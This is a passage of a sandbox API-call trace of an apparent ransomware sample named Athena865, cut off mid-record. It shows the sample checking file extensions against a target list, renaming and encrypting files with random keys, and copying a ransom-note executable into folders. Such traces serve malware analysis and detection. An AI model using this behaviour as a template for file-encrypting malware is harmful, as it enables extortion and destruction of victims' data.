[0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.189] lstrlenW (lpString="accft") returned 5 [0054.189] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.189] lstrlenW (lpString="adb") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.189] lstrlenW (lpString="adb") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.189] lstrlenW (lpString="ade") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.189] lstrlenW (lpString="adf") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.189] lstrlenW (lpString="adn") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.189] lstrlenW (lpString="adp") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.189] lstrlenW (lpString="alf") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.189] lstrlenW (lpString="ask") returned 3 [0054.189] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.190] lstrlenW (lpString="btr") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.190] lstrlenW (lpString="cat") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.190] lstrlenW (lpString="cdb") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.190] lstrlenW (lpString="ckp") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.190] lstrlenW (lpString="cma") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.190] lstrlenW (lpString="cpd") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.190] lstrlenW (lpString="dacpac") returned 6 [0054.190] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.190] lstrlenW (lpString="dad") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.190] lstrlenW (lpString="dadiagrams") returned 10 [0054.190] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.190] lstrlenW (lpString="daschema") returned 8 [0054.190] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.190] lstrlenW (lpString="db-journal") returned 10 [0054.190] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.190] lstrlenW (lpString="db-shm") returned 6 [0054.190] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.190] lstrlenW (lpString="db-wal") returned 6 [0054.190] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.190] lstrlenW (lpString="dbc") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.190] lstrlenW (lpString="dbs") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.190] lstrlenW (lpString="dbt") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.190] lstrlenW (lpString="dbv") returned 3 [0054.190] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.190] lstrlenW (lpString="dbx") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.191] lstrlenW (lpString="dcb") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.191] lstrlenW (lpString="dct") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.191] lstrlenW (lpString="dcx") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.191] lstrlenW (lpString="ddl") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.191] lstrlenW (lpString="dlis") returned 4 [0054.191] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.191] lstrlenW (lpString="dp1") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.191] lstrlenW (lpString="dqy") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.191] lstrlenW (lpString="dsk") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.191] lstrlenW (lpString="dsn") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.191] lstrlenW (lpString="dtsx") returned 4 [0054.191] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.191] lstrlenW (lpString="dxl") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.191] lstrlenW (lpString="eco") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.191] lstrlenW (lpString="ecx") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.191] lstrlenW (lpString="edb") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.191] lstrlenW (lpString="epim") returned 4 [0054.191] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.191] lstrlenW (lpString="fcd") returned 3 [0054.191] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.191] lstrlenW (lpString="fdb") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.192] lstrlenW (lpString="fic") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.192] lstrlenW (lpString="flexolibrary") returned 12 [0054.192] lstrlenW (lpString="fm5") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.192] lstrlenW (lpString="fmp") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.192] lstrlenW (lpString="fmp12") returned 5 [0054.192] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.192] lstrlenW (lpString="fmpsl") returned 5 [0054.192] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.192] lstrlenW (lpString="fol") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.192] lstrlenW (lpString="fp3") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.192] lstrlenW (lpString="fp4") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.192] lstrlenW (lpString="fp5") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.192] lstrlenW (lpString="fp7") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.192] lstrlenW (lpString="fpt") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.192] lstrlenW (lpString="frm") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.192] lstrlenW (lpString="gdb") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.192] lstrlenW (lpString="gdb") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.192] lstrlenW (lpString="grdb") returned 4 [0054.192] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.192] lstrlenW (lpString="gwi") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.192] lstrlenW (lpString="hdb") returned 3 [0054.192] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.193] lstrlenW (lpString="his") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.193] lstrlenW (lpString="ib") returned 2 [0054.193] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.193] lstrlenW (lpString="idb") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.193] lstrlenW (lpString="ihx") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.193] lstrlenW (lpString="itdb") returned 4 [0054.193] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.193] lstrlenW (lpString="itw") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.193] lstrlenW (lpString="jet") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.193] lstrlenW (lpString="jtx") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.193] lstrlenW (lpString="kdb") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.193] lstrlenW (lpString="kexi") returned 4 [0054.193] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.193] lstrlenW (lpString="kexic") returned 5 [0054.193] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.193] lstrlenW (lpString="kexis") returned 5 [0054.193] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.193] lstrlenW (lpString="lgc") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.193] lstrlenW (lpString="lwx") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.193] lstrlenW (lpString="maf") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.193] lstrlenW (lpString="maq") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.193] lstrlenW (lpString="mar") returned 3 [0054.193] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.193] lstrlenW (lpString="marshal") returned 7 [0054.193] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.194] lstrlenW (lpString="mas") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.194] lstrlenW (lpString="mav") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.194] lstrlenW (lpString="maw") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.194] lstrlenW (lpString="mdbhtml") returned 7 [0054.194] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.194] lstrlenW (lpString="mdn") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.194] lstrlenW (lpString="mdt") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.194] lstrlenW (lpString="mfd") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.194] lstrlenW (lpString="mpd") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.194] lstrlenW (lpString="mrg") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.194] lstrlenW (lpString="mud") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.194] lstrlenW (lpString="mwb") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.194] lstrlenW (lpString="myd") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.194] lstrlenW (lpString="ndf") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.194] lstrlenW (lpString="nnt") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.194] lstrlenW (lpString="nrmlib") returned 6 [0054.194] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.194] lstrlenW (lpString="ns2") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.194] lstrlenW (lpString="ns3") returned 3 [0054.194] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.194] lstrlenW (lpString="ns4") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.195] lstrlenW (lpString="nsf") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.195] lstrlenW (lpString="nv") returned 2 [0054.195] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.195] lstrlenW (lpString="nv2") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.195] lstrlenW (lpString="nwdb") returned 4 [0054.195] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.195] lstrlenW (lpString="nyf") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.195] lstrlenW (lpString="odb") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.195] lstrlenW (lpString="odb") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.195] lstrlenW (lpString="oqy") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.195] lstrlenW (lpString="ora") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.195] lstrlenW (lpString="orx") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.195] lstrlenW (lpString="owc") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.195] lstrlenW (lpString="p96") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.195] lstrlenW (lpString="p97") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.195] lstrlenW (lpString="pan") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.195] lstrlenW (lpString="pdb") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.195] lstrlenW (lpString="pdm") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.195] lstrlenW (lpString="pnz") returned 3 [0054.195] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.195] lstrlenW (lpString="qry") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.196] lstrlenW (lpString="qvd") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.196] lstrlenW (lpString="rbf") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.196] lstrlenW (lpString="rctd") returned 4 [0054.196] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.196] lstrlenW (lpString="rod") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.196] lstrlenW (lpString="rodx") returned 4 [0054.196] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.196] lstrlenW (lpString="rpd") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.196] lstrlenW (lpString="rsd") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.196] lstrlenW (lpString="sas7bdat") returned 8 [0054.196] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.196] lstrlenW (lpString="sbf") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.196] lstrlenW (lpString="scx") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.196] lstrlenW (lpString="sdb") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.196] lstrlenW (lpString="sdc") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.196] lstrlenW (lpString="sdf") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.196] lstrlenW (lpString="sis") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.196] lstrlenW (lpString="spq") returned 3 [0054.196] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.196] lstrlenW (lpString="te") returned 2 [0054.196] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.197] lstrlenW (lpString="teacher") returned 7 [0054.197] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.197] lstrlenW (lpString="tmd") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.197] lstrlenW (lpString="tps") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.197] lstrlenW (lpString="trc") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.197] lstrlenW (lpString="trc") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.197] lstrlenW (lpString="trm") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.197] lstrlenW (lpString="udb") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.197] lstrlenW (lpString="udl") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.197] lstrlenW (lpString="usr") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.197] lstrlenW (lpString="v12") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.197] lstrlenW (lpString="vis") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.197] lstrlenW (lpString="vpd") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.197] lstrlenW (lpString="vvv") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.197] lstrlenW (lpString="wdb") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.197] lstrlenW (lpString="wmdb") returned 4 [0054.197] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.197] lstrlenW (lpString="wrk") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.197] lstrlenW (lpString="xdb") returned 3 [0054.197] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.197] lstrlenW (lpString="xld") returned 3 [0054.198] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.198] lstrlenW (lpString="xmlff") returned 5 [0054.198] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.198] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Downloads\\desktop.ini.Athena865") returned 64 [0054.198] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Downloads\\desktop.ini" (normalized: "c:\\documents and settings\\public\\downloads\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Downloads\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\downloads\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.199] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Downloads\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\downloads\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.199] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0054.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.199] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.200] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.200] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.200] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x154 [0054.203] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0054.203] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.204] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.204] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.205] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.205] CloseHandle (hObject=0x154) returned 1 [0054.205] CloseHandle (hObject=0x17c) returned 1 [0054.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.205] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2ae3e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2ae3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.205] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.205] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2ae3e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2ae3e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.205] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.205] ReleaseMutex (hMutex=0xec) returned 1 [0054.205] CloseHandle (hObject=0xec) returned 1 [0054.205] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Favorites" | out: lpString1="C:\\Documents and Settings\\Public\\Favorites") returned="C:\\Documents and Settings\\Public\\Favorites" [0054.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528d70 | out: hHeap=0x4f0000) returned 1 [0054.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf18 | out: hHeap=0x4f0000) returned 1 [0054.205] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Favorites") returned 42 [0054.205] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\013C68E22228102E5BFD9B9F1226D7F6") returned 0xec [0054.205] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.205] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Favorites" | out: lpString1="C:\\Documents and Settings\\Public\\Favorites") returned="C:\\Documents and Settings\\Public\\Favorites" [0054.205] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.206] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.206] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.206] GetLastError () returned 0x0 [0054.206] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.206] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.206] CloseHandle (hObject=0xf4) returned 1 [0054.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.206] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.206] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.207] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.207] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.207] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.207] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.207] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.207] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.207] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.207] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.207] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: 